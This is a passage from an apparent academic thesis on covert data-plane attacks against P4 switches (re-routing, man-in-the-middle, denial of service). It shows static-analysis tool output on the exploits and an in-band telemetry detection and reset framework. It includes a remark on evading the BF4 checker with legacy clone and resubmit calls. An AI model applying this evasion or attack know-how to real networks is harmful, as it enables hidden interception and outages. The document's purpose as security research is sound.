3 @metadata @name("standard_metadata")
4 ^^^^^^^^
5 /usr/local/share/p4c/p4include/v1model.p4(59): [--Wwarn=unknown]

warning: Unknown annotation: alias
6 @alias("queueing_metadata.enq_timestamp")
7 ^^^^^
8 /usr/local/share/p4c/p4include/v1model.p4(442): [--Wwarn=unknown]

warning: Unknown annotation: pipeline
9 @pipeline

10 ^^^^^^^^
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11 /usr/local/share/p4c/p4include/v1model.p4(460): [--Wwarn=unknown]
warning: Unknown annotation: deparser

12 @deparser
13 ^^^^^^^^
14 exploit4v2/exploit.p4(157): [--Werror=type -error] error: ipv4_lpm_0

.apply: Passing 1 arguments when 0 expected
15 ipv4_lpm.apply();

Listing 3.12: BF4 evaluation of exploit 1’s code

The analysis of 3.12, lists 5 potential issues in the code. The first 4 are related to
unknown annotations. Such annotations are related to libraries used in the com-
pilation of the code, and not the created code itself. But why are these annotations
flagged? Several reasons can explain this issue. First, P4’s documentation does
not have a concrete list of annotations, causing confusion with the creators of BF4.
Secondly, these annotations may have been added after the last update made to
BF4 (with the last feature-relevant update being added in July 2019, where the
remainder 6 only contain small bug fixes). The last detection occurs in line 157
and it is related to the method ipv4_lpm. Once again it seems to be a system bug
rather than a problem in the code. Furthermore a since basic.p4 file, which is
used by the official P4 repository, yields the same result. This indicates that BF4
does not detect any rogue functionality present in the code.

The analysis for exploits 2 and 3 are shown in 3.13 and 3.14 respectively, while
exploit 4 does not have any different results and exploit 1.

1 exploit2v2/clone.p4(42): [--Wwarn=unknown] warning: Unknown
annotation: field_list

2 @field_list (0)
3 ^^^^^^^^^^
4 exploit2v2/clone.p4(121): [--Werror=not -found] error:

clone_preserving_field_list: Not found declaration
5 clone_preserving_field_list(CloneType.I2E , CLONE_ID ,0);

Listing 3.13: BF4 evaluation of exploit 2’s code

1 exploit3v2/exploit.p4(59): [--Wwarn=unknown] warning: Unknown
annotation: field_list

2 @field_list (0)
3 ^^^^^^^^^^
4 exploit3v2/exploit.p4(133): [--Werror=not -found] error:

resubmit_preserving_field_list: Not found declaration
5 resubmit_preserving_field_list (0);

Listing 3.14: BF4 evaluation of exploit 3’s code

Interestingly, besides the bugs mentioned in 3.12, BF4 also reports the presence of
the functions clone_preserving_field_list, resubmit_preserving_field_list and the an-
notation for the field list @field_list(0).

According to the information provided in the official P4 repository (https://
github.com/jafingerhut/p4-guide/blob/master/v1model-special-ops/README.
md), "On 2021-Dec-06, the p4c compiler’s bmv2 back end with v1model architec-
ture was changed in how you specify what user-defined metadata fields to pre-
serve for the resubmit, recirculate, and clone operations.". BF4 is not prepared
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for these changes resulting in a false positive –Werror=not-found for the functions
clone_preserving_field_list and resubmit_preserving_field_list. This is almost a bug-
turned-feature since the developed code uses this method to perform the exploits.
This problem can be avoided by using the legacy functions clone and resubmit,
dropping the ability to preserve metadata but conserving the stealth properties
of the attack.

Evaluation using Gauntlet

After thoroughly evaluating Gauntlet’s documentation (which can be found in
its respective GitHub repository https://github.com/p4gauntlet/gauntlet), it
becomes clear that Gauntlet is not suitable to perform a security evaluation for
the designed exploits.

Gauntlet implements several methods for testing: a fuzz tester, which generates
random P4 programs, a translation validator, which compares compiler passes
for potential discrepancies, and a model-based tester, which infers the input and
output for P4 programs (thus testing the randomly generated programs). Fur-
thermore, the authors of Gauntlet have announced that the tool is currently being
ported to C++, making it not feature-complete.

Gauntlet, therefore, was designed with the idea of automatically generating syn-
tactically correct programs, converting said programs to an intermediate lan-
guage, and testing if said programs would compile correctly. This program cov-
ers very specific implementation bugs, which differ completely from the approach
of this work. Even so, to ensure the analysis was valid, the translation validation
tool provided by Gauntlet was used against the developed exploits. Results are
presented in listing 3.15.

1 ~/ gauntlet/bin/validate_p4_translation ../ exploit2v2/exploit.p4
2 Using the compiler binary "/home/tldart/gauntlet/modules/p4c/

extensions/toz3/validate /../../../../ p4c/build/p4test".
3 Analyzing "../ exploit2v2/exploit.p4"
4 P4 file did not generate enough passes.

Listing 3.15: Gauntlet’s evaluation

3.4.5 Conclusions

After extensive research on tools that can evaluate the data-plane portion of P4
code, it can be concluded that a reduced number of tools exist, only a small of
them are available, and none detect the kinds of attacks described.

The only two tools that were successfully installed were Gauntlet and BF4. Gaunt-
let, although created for bug finding, does fit the purpose of the analysis. BF4, on
the other hand, presented some interesting results. Because BF4 has not been up-
dated since its release, it does not support the newest methods of cloning and
resubmission, flagging them. This makes the tool, obsolete for any code that uses
an updated P4 version, but also can be bypassed by attackers because the legacy
methods of cloning a resubmission do not affect the end result of the attack.
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To conclude, after a thorough analysis of the state of the art, complemented with
practical testing of the available tools, it can be concluded that no currently avail-
able tool is able to detect the attack by statically analyzing the code.
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Chapter 4

Mitigation Framework

This chapter focuses on applying network-based detection to the attacks created
in the previous chapter, as well as leveraging P4-INT as a technique to collect data
from the network.

Section 4.1 briefly describes the InBand Network Telemetry technology, referring
to possible implementation solutions.

Section ??

4.1 P4-INT

InBand Network Telemetry (also known as INT) is a technique originally devel-
oped for the P4 programming language, with the goal of monitoring network
metrics, in a lightweight format. INT is essentially different from other, older,
methods of network monitoring. INT does not require extra packets to circulate
on the network, as the data required collected circulates, attached to packets cur-
rently traveling in the network. Furthermore, there is no need to implement a
new protocol, as the data is directly handled by the network devices. INT also
achieves greater granularity than traditional monitoring solutions, as it can en-
sure per-packet granularity.

In summary, INT does not replace traditional solutions, which measure network
performance, and security monitoring, amongst other functions. It instead is
used to grant visibility over the network and to guarantee fast detection and re-
sponse to incidents. It is worth noting that INT is a new concept with a lot of
room to discover and specific hardware may be required.

4.1.1 The selected P4-INT Implementation

It goes beyond the scope of this thesis to implement INT from scratch, and there-
fore an implementation of the INT was searched for. There are several available
implementations of INT online:
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• GEANT’s INT [Geantonso]

• ONOS’ INT [ONOS, a];

• LaoFan’s INT [Fan].

With the options listed above in mind, the implementation used in this work Lao-
Fan’s INT implementation. The criteria used to select this work over the others
take into consideration a couple of reasons. To use Open Network Operating Sys-
tem (ONOS)’ INT implementation it was expected that the testbed used ONOS as
a controller, as further detailed in 4.5 this takes is a complex task. Comparing both
remaining approaches and taking into consideration that both are incomplete in
different aspects, [Fan] is the one updated more recently and therefore contains
the more recent version of int (version 2.1, while [Geantonso] implements ver-
sions 0.4 and 1.0).

Based on the information found in the repository, the current version only sup-
ports User Datagram Protocol (TCP), which is enough for testing but not for real-
world implementation. Additionally, from the collected metrics (which go in line
with the metrics collected by INT implementation description (check 2.4.2) it does
not support egress throughput and queue occupancy.

4.2 Creating a Testbed

For the telemetry monitoring testbed, the initial goal was to use real switches,
namely Intel’s Tofino switches. Tofino is a specialized architecture developed
by Intel that is optimized for use in networking devices, such as switches and
routers, designed to provide high performance and low latency.

Unfortunately, the laboratory could not provide the tools required to emulate
such a network. In regards to Tofino switches, Intel also halted the production
and development[Fool]. Other solutions were also considered, but again, the lab-
oratory could not provide a significant number of switches to run the emulation
scenario.

A possibility would be to emulate the switch virtually. The most popular solution
using this method is the Open Virtual Switch (OVS). The official website[P4-OvS]
mentions that some features are not yet available, including the much important
register, without which the attack can’t be run.

Without a clear solution that would be feasible to implement the testbed on,
Mininet once again was used. This solution is not optimal, but given the con-
straints shown above and the timeframe to conclude the work, it was the best
available.
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Figure 4.1: Testbed used for testing

4.3 Network Topology

Selecting a network topology is vital to ensure that experiments are relevant to
the analysis. After a lot of consideration, a leaf-spine architecture was chosen. A
leaf-spine architecture is a network design approach commonly used in data cen-
ter environments to provide high-bandwidth, low-latency connectivity between
devices. This architecture is moderately complex to implement and very scal-
able. It has also seen a rise in popularity, giving adding to the testbed’s effort to
emulate reality.

The topology created uses a total of 6 switches, 2 spines, and 4 leaves. It also
contains 4 hosts (1 per leaf). Leaf switches are responsible for connecting end-
user devices to the network and are typically located at the edge of the network.
Spine switches are responsible for connecting the leaf switches together. They
are typically located in the core of the network and are responsible for providing
high-speed connectivity. Figure 4.1 describes the leaf-spine architecture used
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1 {
2 "table": "MyIngress.process_int_source.tb_int_source",
3 "match": {
4 "hdr.ipv4.src_addr ": ["10.0.0.0" , 4294901760] ,
5 "hdr.ipv4.dst_addr ": ["10.0.0.0" , 4294901760] ,
6 "local_metadata.l4_src_port ": [0,1],
7 "local_metadata.l4_dst_port ": [0,1]
8

9 },
10 "priority ": 10,
11 "action_name ": "MyIngress.process_int_source.int_source",
12 "action_params ": {
13 "hop_metadata_len ": 11,
14 "remaining_hop_cnt ": 10,
15 "ins_mask0003 ": 15,
16 "ins_mask0407 ": 15
17 }
18 },

Listing 4.1: INT Table entry

4.3.1 INT Functionality

LaoFan’s implementation of P4 uses INT-MD, as described in section 2.4.2, mean-
ing that each switch should be assigned a functionality (source, sink, and transit).
INT packets can only be created in the Source nodes and can only be processed
at the Sink nodes.

Transit nodes only add telemetry to the packet. In terms of configuration, Source
nodes need to be configured in regard to the flows they are monitoring. This can
be done by adding one or more table entries, to the source int table. Listing 4.1
shows an example of a table entry. Lines 4 to 7 define the flows to be monitored.
The number 4294901760 (present in lines 4 and 5) converts to OxFFFF0000, and, in
combination with the IPs present in the same line, covers all flows ranging from
10.0.1.1 to 10.0.254.254. In terms of action parameters, line 13 refers to the max
number of nodes the telemetry data can travel, and line 14 is the current number
of traveled nodes (since it is the sink, the number equals the max -1). Finally, lines
15 and 16 define OxF (or 15 if converted to an integer) to define the instruction
mask.

Implementation-wise, after the packet reaches the sink, it creates a clone of the
original packet: the original packet is stripped of all int-related headers and con-
tent and proceeds normally; the cloned packet is processed and sent to the CPU
port (a port used for management, control protocols and etc). Using this port is
ideal as it removes telemetry and isolates the data gathered from the remaining
circulating traffic. Noticeably, it is also necessary that all nodes are provided with
an ID.

Regarding the action of forwarding packets on the network, the spines perform
Layer-3 routing, while the leaves perform Layer-2 routing. For the sake of sim-
plicity, it is assumed that the L2 routers know the MAC address of the host for a
given IP, bypassing the usage of the Address Resolution Protocol (ARP) and ARP
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Figure 4.2: Roles of INT in the testbed

Tables.

Figure 4.2 demonstrates the different INT roles in the network.

4.4 Data Collection and Visualization

As mentioned in 2.4.2 INT produces a small set of metrics of the flows present
in the network. It is of total interest to the network administrator to collect and
display such metrics. Fortunately, LaoFan’s implementation already provides a
framework that, upon a configuration step, does just this.

As a database solution, InfluxDB[InfluxDB] was selected. InfluxDB is a time-
series database commonly used for storing and querying large amounts of time-
stamped data, such as network traffic data.

As a display and monitoring solution Grafana was selected. Grafana[Graphana]
is a popular open-source platform for data visualization and analysis. It enables
users to create customize dashboards displaying data from a range of sources.

The original implementation uses a Stratum_bmv2 switch, this thesis, on the other
hand, uses a more updated P4RuntimeSwitch. It is possible to open a CPU port
using the P4RuntimeSwitch but for simplicity and consistency of implementation
(with LaoFan’s work), the CPU port is replaced by creating another regular net-
work interface, which does not circulate any traffic besides the allotted telemetry
measurements.

To collect the data, the monitor is actively listening to this generated CPU port
processing the incoming data, inputting it to the InfluxDB Database.

61



Chapter 4

Figure 4.3: Full View of INT applied in a leaf-spine network

Finally, Grafana can be configured to retrieve data from InfluxDB (in which the
monitor inputs data) and to display it in a dashboard. Figure 4.3 show the com-
plete panorama regarding the underlying IT framework (function, collection, and
display of data).

4.5 Adding a controller

To better simulate a real-world scenario, a controller was added to the simulation.
The initial idea was to add the ONOS controller to the simulation. This controller,
besides actions related to network management, also possesses a graphical user
interface, allowing one to view the topology using an internet browser (such as
the one shown in figure 4.4).
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Figure 4.4: ONOS’ Graphical User interface

Unfortunately, the documentation is really sparse regarding the installation and
configuration of the ONOS controller. Its official website[ONOS, b] is, at the time
of writing offline. From the remaining resources found, one working example
uses the Stratum_bmv2 switch, which, while also running the P4 language uses
different drivers.

For such reasons, the fallback controller used is the P4Runtime Controller. It
does not possess a GUI like ONOS but since it directly uses the Python library
p4runtime_lib it is of much easier management.

4.6 Generating Network Traffic

According to the constraints of the testbed, the network traffic generator, must
work with Mininet and generate TCP packets. There are several packet genera-
tors available online.

The first intent was to use an established tool for network traffic generation. For
this reason, PacketSender[PacketSender] was selected. Upon further experimen-
tation, it was concluded that PacketSender could not be used as it cannot be
started inside each Mininet Host. A suitable alternative is Scapy [Scapy], which is
a packet library used for packet manipulation. Using this library, a Python script
was created, which runs inside every host.

Generating traffic in a realistic manner goes using a Python script goes beyond
the scope of this thesis, and for such reason, a simpler approach was taken. First,
as mentioned in 4.1.1, since this implementation of INT only works for UDP pack-
ets, only such types of packets are generated. The algorithm used is described
in4.2 as pseudocode. The goal of this algorithm is to randomly select a receiver
for a packet in such a way that after a new receiver is selected the probability of
changing receiver linearly increases starting from 0.

1 input: list host_list , int bias , int decay , int interval
2 output: None
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3 begin
4 val_bias = bias
5 while True:
6 if random.integer(0,bias) > val_bias:
7 receiver = random.element(host_list)
8 val_bias = bias
9 else:

10 bias = bias - decay
11

12 packet = create_network_packet ()
13 response = send_network_packet(packet , receiver)
14 sleep(interval)
15 return None
16 end

Listing 4.2: Algorithm for generating network traffic float

4.7 Extracting, processing and understanding the lim-
itations of INT-Metrics

According to the limitations presented in 4.1.1, the following metrics are collected
by the system:

• Protocol Type;

• Source IP and Destination IP;

• Source Port and Destination Port;

• Switch ID;

• Queue Occupancy (Queue ID is not supported in Bmv2);

• Ingress and Egress Timestamp (in microseconds since switch start[Martínek
et al.], section 4.1);

• Hop Latency, which is the subtraction of the Ingress to Egress Timestamp;

4.7.1 Calculating latency

With the values of all timestamps between destination nodes, should it be possi-
ble to calculate the latency of a packet?

No, in fact, packet latency measures the delay end to end, meaning host to host.
The tool ping calculates latency by sending an ICMP message from the host and
waiting for a reply measuring the time taken. INT was not developed in such a
way that the switches communicate back and forth. At most, it would be possi-
ble to calculate the latency between the first and the last switch, not end to end.
But even this task must assume that the clocks between the switches are synchro-
nized.
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In our case and according to [Martínek et al.], since BMv2 counts time according
to the start of the switch and the switches cannot be ensured to have started at
the exact same time, the only latency that can be calculated is hop latency, which
is calculated by subtracting timestamps inside the same switch.

4.7.2 Extracting metrics

Even if latency (except hop latency) cannot be calculated, valuable data can still
be collected from the timestamps. Instead of describing latency, the timestamps
describe Jitter. Jitter refers to the variation in the delay of received packets or
data packets’ arrival time at the destination and can be calculated despite syn-
chronization problems of timestamps. Since the source of asynchrony relates to
the time taken for a switch to start, since the said value is constant, Jitter can be
calculated as an absolute difference between two timestamps.

Transit Jitter refers to the variation in latency between the source and sink nodes,
and it is calculated by computing the standard deviation of the subtraction be-
tween the Egress Timestamp of the sink with the Ingress Timestamp of the Source.

Link Jitter refers to the jitter in the link for any given two nodes, it can be calcu-
lated by computing the standard deviation of the subtraction between the Ingress
Timestamp of Node 2 with the Egress Timestamp of Node 1.

4.7.3 Understanding Metrics

Now that all collectible metrics have been detailed, their significance is detailed
below.

Note: INT is not intended to be the replacement of a Firewall, it is meant to be
used as a network visibility tool, providing near real-time information about the
circulating packets.

Protocol Type can be used to derive network quality based on the sampling ratio.
For example, a network containing a number of ARP packets may have some
problem, be it configuration or an attack such as an ARP flood. Furthermore, on
a configured network, any circulating packet on a protocol that is not whitelisted
such be flagged and investigated.

Queue Occupancy can be used to understand if there are buffering problems in
a switch. Paired with Link Latency, it works as an indicator of the health of
the switch as its circulating packets. If the queue starts increasing it means that
there is a problem with the inflow of the packets out of the network, indicating a
possible link Exhaustion.

Link Latency refers to the time required to process data inside the switch (Ingress
to Egress). If this value increases it means that the switch is taking a longer time
to process a packet. This can happen if the rate of packets entering the switch is
larger than the switch’s processing capabilities, leaving the packet waiting to be
processed in the buffer.
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Link Jitter refers to the variation or inconsistency in the delay of data transmis-
sion across a network link. It specifically relates to the irregularity in the arrival
time of packets over a network link. Jitter an is indicator that there is a problem in
the connection. High Link Jitter can result in degraded performance on real-time
applications, inconsistent data transmission, delay, and impact overall network
reliability.

Transit Jitter refers to the variation or inconsistency in the delay of data packets
as they traverse through multiple network hops or transit points in a network
path.

4.7.4 Displaying metrics

As mentioned before, Grafana was used to display the data collected from INT.
To introduce the reader to Grafana’s UI, figures 4.5 and 4.6 display the panels
used to track the network status. Both figures represent a state where no attack is
applied to the network.

Figure 4.5 focuses on real-time metrics of the system, presenting data every few
seconds. It is important to notice that a network administrator may not have an
infinite amount of screen estate to display metrics and therefore the most relevant
should be presented first.

In this figure, there are a total of 4 plots: Plot 1 displays the switch latency in mi-
croseconds and it is configured such that if any value goes over a pre-determined
limit, the gauge indicator flashes red. It is difficult to extract significance from
the value presented beyond the "it’s relatively low" since the testing environment
(Mininet) may incur some consistency issues; Plot 2 show the progress of the Flow
Jitter over time, a view using a time window can help detect patterns present in
the flow. Plot 3 shows the Jitter associated with the link in microseconds, plotting
a small time series below; Plot 4 shows the queue occupancy per queue in the
network. It is only possible to display such a plot because this network contains
only 5 queues (since each switch only supports a single queue). Once again if the
value goes over a pre-determined limit, the gauge indicator flashes red.

Figure 4.6 shows the second portion of displayed metrics. This figure shows on
focusing the overall temporal evolution of the metrics presented above: Link Jit-
ter (plot 5), Queue Occupancy (plot 6), and Switch Latency (plot 7). Using such
plots helps in a second analysis if the gauge indicator shows an alarm indication,
by analyzing if say behavior is only temporary. Finally, plot 8 displays the quan-
tification of the circulating packets. This metric on its own does not say much
about the network, as they do not follow any predictable distribution of packets.
Nevertheless, if there is an increase in traffic for a host without a particular reason
behind it, it can work as a warning.
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Figure 4.5: Monitorization panels in Grafana (part 1)

67



Chapter 4

Figure 4.6: Monitorization panels in Grafana (part 2)
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Figure 4.7: Jitter Plot when the testbed is under a traffic re-routing attack

4.8 Results

In this section, the attacks developed in chapter 3 are tested against the INT
testbed. Since INT is only a visibility tool that can only collect a limited num-
ber of metrics, it is not expected that it can discriminate attacks.

4.8.1 Traffic Re-Routing

As previously explained, this exploit changes reroutes traffic from 10.0.2.2 with
destination 10.0.1.1 to 10.0.3.3.

Using the Flow Jitter Plot as an example (figure 4.7), the data shown by the plots
is not enough to infer that an attack is happening in the network. Yet, since INT is
configured to track all circulating flows, it could detect a rogue flow to destination
10.0.3.3. However, this is not scalable, as in a network with thousands of flows,
the probability of manual detection is very low.

4.8.2 Man-In-The-Middle

For attack number, the scenario focuses on intercepting data sent by 10.0.2.2 to
10.0.1.1 and cloning those packets to 10.0.3.3. In this case, there is indicative data
that there might be a problem with the system. Figure 4.8, shows the immedi-
ate and overall values of Switch Latency when the attack is occurring. This data
informs that the cloning operation performed at a large scale in a limited envi-
ronment such as the one created really takes a toll on the system’s resources.

4.8.3 Denial of Service (Single Host)

Attack number 3, creates a denial of service able to shut off the switch completely,
disturbing all flows that traverse that switch. This is achieved by recirculating all
packets sent to the switch, creating a loop. Figure 4.10 shows the effect of the
attack. The green line on the topmost plot represents a regular flow. As can be
seen 3 minutes of working regularly, all metrics related to switch 2 (be it Switch
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Figure 4.8: Effect of using this clone operation at mass

latency, link, or flow jitter) stop being recorded as the switch is overwhelmed and
cannot properly packet to the network (and its respective INT statistic).

4.8.4 Denial of Service (Entire Switch)

The final attack describes an attack that turns off a specific connection, rather than
the entire switch. Curiously, this attack is not detected by the INT framework.
This is due to the implementation of INT. INT is configured to export metadata
according to the packets that enter the switch, not the packets leaving the switch.
It means that even if a packet is posteriorly dropped by the switch if it reaches
the switch in the first place, it is reported as that. It is concluded then that P4-INT
cannot detect a DoS attack on leaf nodes of an infrastructure.

4.9 Proposing mitigation solutions

While not a mitigation solution, INT can be used as a network mitigation measure
(note, it should be combined with other tools, for example, a firewall).

As INT as monitoring a visualization tool, INT allows for detail (do not mistake
with deep) packet inspection. This means that it is able to visualize all circulating
flows (with proper configuration), alongside some of its characteristics, with little
added overhead. This behavior can be used to track and report any traffic that
is reaching a blacklisted destination. For example, imagine a private network
system contains both a firewall and P4-INT, if the firewall is misconfigured and
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Figure 4.9: Effect of DoS switch 2

Figure 4.10: Transit for switch 1 under a DoS attack
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allows for packets to leave the system, P4-INT will inform the network admin
that an outbound connection to a blacklisted location is being made, which will
prompt the admin to fix the problem with the firewall.

As a traffic shaping tool INT can be used to measure the circulating traffic in
regards to packet number and average throughput (if the metric is available).
With this information, manual or automatic decisions can be triggered such that
measures are taken to improve the quality of the network. For example, if a link
in the network is constantly overloaded, P4-INT can detect such a problem and
report it. Such information can be used by a controller to find all available paths
and redirect traffic using different links (latency and QoS should be taken into
consideration).

As shown in section ??, even with limited information,INT can be used to de-
tect and report attacks in the network. Its capability of mass processing network
metadata in real-time allows the collection and analysis of traffic patterns that
show anomalies. An example would be detecting ARP-based DoS attacks, as
INT would detect a massive increase in ARP traffic directed at a single host.

Most importantly, INT is able to process and insert network traffic in a database,
which can be combined with most tools available, giving great flexibility to ad-
mins to set up the analysis and response protocols.

4.9.1 Implementation example

To conclude this section, a practical implementation example is provided. Notice-
ably, the P4 Runtime Controller Implementation is available as a Python package
nothing including many features.

This scenario follows the testbed used for validation of P4-INT metrics (presented
in figure 4.3). More specifically, it is running the same scenario as the man-in-the-
middle attack (section 4.8.2). In this case, the switch experiences high latency due
to the cloning operation employed by the attack. To fix this problem, the switch is
first restored to factory settings, followed by a recovery of the control plane rules.
While this solution may be considered extreme, it can be useful in cases where the
network administrator does not understand the root cause of the faulty switch.
In such cases, it might be faster to factory restore the device rather than diagnose
the problem. (Note that this solution does not require the switch to be restarted,
reducing the amount of time needed to conclude the operation.)

Setting up a Grafana alert

The process of fixing this problem, is a human-in-the-loop scenario, meaning a
human decision is taken in the process, rather than being an automated process.
Therefore, the first step is to set up a Grafana alert, this alert notifies the admin
that there is a problem in the network and action must be taken.

Figure ??, details the configuration page for a Grafana Alert. The image shows
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Figure 4.11: Setting up an alert in Grafana

the alert condition as well as a visual representation of the threshold line. The
alert is configured to notify the administrator if the latency of switch 2 gets over
1000 microseconds (1 millisecond).

4.9.2 Using the control plane to issue a reset

After analyzing the problem in the network there are several possible solutions
according to the situation. In this example, the admin elects to reset the switch
and re-insert the control rules. First, listing 4.3 shows two functions, bulk_write
takes in an entry list separates then one by one. Function writeTunnelRules parses
a table entry into a structure which can be understood by the switch and sends it
to the respective pipeline.

Listing 4.4 first loads the configuration file (line ) and then P4Infofile (line). It
then tries to establish and connection with the device (lines x-x) and install the P4
program (line). Finally it call the bulk_write method.

4.9.3 Attack and Mitigation visualization

To conclude, the flow of the attack is described below. Figure 4.12 shows the
Grafana trigger in action. Once triggered, the trigger sends a notification through
the appropriate method.

Figure 4.13 illustrates an example flow of attack and respective mitigation using
switch latency as an identifying metric. Initially, the system is functioning nor-
mally. However, after the attack begins, the switch’s latency rapidly increases
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1 def bulk_write(pipeline , entry_list , p4info):
2 for entry in entry_list:
3 writeTunnelRules(p4info , pipeline , entry)
4

5 def writeTunnelRules(p4info_helper , pipeline , data):
6 table_entry = p4info_helper.buildTableEntry(
7 table_name=data[’table ’],
8 default_action = data.get(’default_action ’, False),
9 match_fields= data.get(’match ’, None),

10 action_name= data.get(’action_name ’, None),
11 action_params= data.get(’action_params ’, None),
12 priority= data.get(’priority ’, None))
13

14 pipeline.WriteTableEntry(table_entry)
15 print("Installed ingress tunnel rule on %s" % pipeline.name)

Listing 4.3: Function used to write table entry to the switch

1 def main(cfg_file):
2 with open(cfg_file , ’r’) as f:
3 data = json.load(f)
4

5 p4info_helper = p4runtime_lib.helper.P4InfoHelper(data[’p4info ’
])

6

7 try:
8 leaf2 = p4runtime_lib.bmv2.Bmv2SwitchConnection(
9 name=’leaf2’,

10 address=’127.0.0.1:50052 ’,
11 device_id=1,
12 proto_dump_file=’logs/leaf2 -p4runtime -

requests_controller.txt’)
13 leaf2.MasterArbitrationUpdate ()
14 leaf2.SetForwardingPipelineConfig(p4info=p4info_helper.

p4info ,
15 bmv2_json_file_path=data[’

bmv2_json ’])
16 bulk_write(leaf2 , data[’table_entries ’],p4info_helper)

Listing 4.4: Main body of the reset implementation

74



Mitigation Framework

Figure 4.12: Grafana Alert Triggering

Figure 4.13: Timeline of an attack to switch 2

erratically. After a few minutes of this behavior, a control plane reset is issued.
Noticeably, during this time, there is no data since the switch is being reinstalled
and entries are being re-inserted. Finally, after the measures are applied, the sys-
tem returns to its normal state. Note that the timeline is not representative of
the least amount of time needed to complete a mitigation strategy in a real-world
scenario; it should be seen as an upper bound.
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Conclusion

To conclude this document, a summary of the work is presented below.

Chapter 1 serves as the introductory chapter to the work, providing a formal
introduction, motivation, objectives, and contributions.

Chapter 2 begins by providing an allusion to the historical context of networking,
detailing the evolution from traditional networks to SDN-based Openflow and P4
networks. Additionally, a brief overview of SDN security is provided.

The remainder of the chapter heavily focuses on the technical and theoretical
perspective of P4. This includes a formal overview of the language, using the
official P4 specification [Consortium, 2022], a review of INT, and a review of the
state of the art. The state of the art section can be divided four topics: P4 bug
exploitation, SAST and DAST analysis, and network monitoring.

Chapter 3 marks the beginning of the developmental portion of this thesis. The
first section discusses the attacker model, which focuses on staying hidden until
the attack is initiated. It is assumed that the attacker follows the same model as
described in [Black and Scott-Hayward, 2021], using the "Changing P4 Program
- Controller initiated" attack as the entry point. A remote trigger architecture is
then formed.

The goal of the attack is to remain hidden for as long as necessary without dis-
rupting regular traffic. Three attack methods are achieved by changing the data-
plane code: traffic re-routing, Man-In-the-Middle (MitM), and Denial-of-Service
(DoS) for both the entire switch and a single connection.

Finally, SAST tests are run using both gauntlet and BF4, with no successful detec-
tion observed based on the current state of the art.

Chapter 4 presents a detection and mitigation framework. The framework makes
use of a testbed (using a leafspine architecture) to test the collection of metrics
against created attacks, by using an implementation of INT available online [Fan].
Python3 is used for INT processing, InfluxDB for data storage, and Grafana for
data display.

The results show that INT can detect some forms of attack (MitM and Switch-
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Wide DoS). Finally, a mitigation solution is proposed that involves setting up
Grafana alerts to notify the system admin of abnormalities in the network. The
admin can then reset the device, reapply all control plane rules, and restore traffic
to its original, pre-attack phase.
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Appendix A

Understanding Mininet in the
context of P4 Tutorials

Mininet is a widely used network simulator. This technology is used in the P4 tu-
torial repository [P4]. Whilst long tutorials have been created and presented over
the years, none focused on explaining how P4 is used in the example repository
for the P4 language. This contribution aims to fix just this problem, explaining in
detail how the simulation works in the context of P4’s tutorial repository.

Section A.1 introduces the technology.

Section A.2 describes the integration between Mininet and Python.

Section A.3 describes the integration between Mininet and P4.

Section A.4 details information about switch architecture.

Section A.5 explains the functionality of the different files required for the simu-
lation.

Section A.6 summarizes all the contents provided in the document.

A.1 Mininet

Originally created by Bob Lantz, Mininet [Lantz] is a very complete network em-
ulation tool. Using Mininet, a user can quickly deploy a full network in minutes.
As mentioned in [de Oliveira et al., 2014], "the possibility of sharing results and
tools at zero cost are positive factors that help scientists to boost their researches
despite the limitations of the tool in relation to the performance fidelity between
the simulated and the real environment."

Some drawbacks of Mininet include line-rate fidelity and processing power, which
are only of limited relevancy given the purpose of the technology. Mininet, much
like P4, is supported by the Open Networking Foundation (ONF), ensuring its
long-term support.
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A.2 Python Mininet

Mininet supports both python2 and python3 through its API [Mininet, a].Since
python2 was deprecated in 2020, it is not considered for the rest of the document.

By using this API, networks can be instantiated from a python script, speeding up
the initialization process. Most Mininet abstractions are also usable from within
the python API:

• Links, such as OVSLink or the TCLink;

• Switches, such as the OVSSwitch, IVSSwitch, and P4Switch;

• Controllers, such as NOX, OVS, or Ryu;

• NAT and Linux bridges;

A.3 Mininet and P4

To abstract a P4-enabled switch, the P4Runtime library [Mininet, c] is used . Us-
ing the P4RuntimeSwitch abstraction, the switch can be emulated within Mininet.

A.4 BMv2 Architecture

Several architectures are supported by P4. Since most are closed-source, Mininet
only supports a smaller subset. For this reason, Behavioral Model Version 2
(BMv2) [P4Lang, b] was is used. BMv2 is an openly available implementation
of the P4 Switch, using C++11. It makes use of JavaScript Object Notation (JSON)
format files (which are compiled using the provided P4 compiler (P4c)) to gen-
erate switch behavior. The BMv2 behavioral model supports several different
versions (also known as targets):

• simple_switch. The main target for the software switch. Can execute most
P414 and P416 programs. Uses the v1model architecture and can run on
most general-purpose CPUs.

• simple_switch_grpc. Based on the simple switch, but with support for
Transmission Control Protocol (TCP) connections (Remote Procedure Call
(gRPC)) from a controller (uses the P4 Runtime Application Programming
Interface (API)).

• psa_switch. Based on the simple switch, but instead of using the more re-
cent v1model, uses the Portable Switch Architecture (PSA).

• simple_router and l2_switch. Implemented as a proof of concept and largely
incomplete[P4Lang, a]. Should not be used over the simple_switch.
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A.5 Simulation Files

Before executing, the following files are required:

• P4 file(s). Defines the behavior of the switch(es).

• Control plane P4 file(s). Provides the entries used to fill the data plane
tables (inserted by the control plane).

• Topology file. Describes the network topology, connections, switches, and
hosts.

• Makefile. Automates network generation process.

Note: The files and code used in this document are taken fully or abridged from
the official P4 GitHub repository [P4]. Further information on the respective
P4 file can be found in https://github.com/p4lang/tutorials/tree/master/
exercises/basic

A.5.1 P4 File

The P4 file defines the data-plane behavior and it is stored directly in the switch.
Its structure is fixed while the switch is running, only allowing modifications to
entries of its tables.

Listing A.1 illustrates a simple P4 program, whose goal is to forward an incoming
packet to the correct host.

This simple program contains 4 stages (as mentioned in 2.2): Parser (line 2);
Ingress (line 32); Egress (line 69); Deparser (line 79). This program constitutes
a basic implementation of the forwarding script. Its functionality is: set the
egress.port (line 40), decrement the Time To Live (TTL) (line 43), and change the
source and destination IPs. Note: For the sake o readability, some parts of the
code have been removed.

1 /(... Omitted ...)/
2 /************* P A R S E R *************************/
3

4 parser MyParser(packet_in packet ,
5 out headers hdr ,
6 inout metadata meta ,
7 inout standard_metadata_t standard_metadata) {
8

9 state start {
10 transition parse_ethernet;
11 }
12

13 state parse_ethernet {
14 packet.extract(hdr.ethernet);
15 transition select(hdr.ethernet.etherType) {
16 TYPE_IPV4: parse_ipv4;
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17 default: accept;
18 }
19 }
20

21 state parse_ipv4 {
22 packet.extract(hdr.ipv4);
23 transition accept;
24 }
25

26 }
27

28 /(... Omitted ...)/
29

30 /********* I N G R E S S P R O C E S S I N G ***********/
31

32 control MyIngress(inout headers hdr ,
33 inout metadata meta ,
34 inout standard_metadata_t standard_metadata) {
35 action drop() {
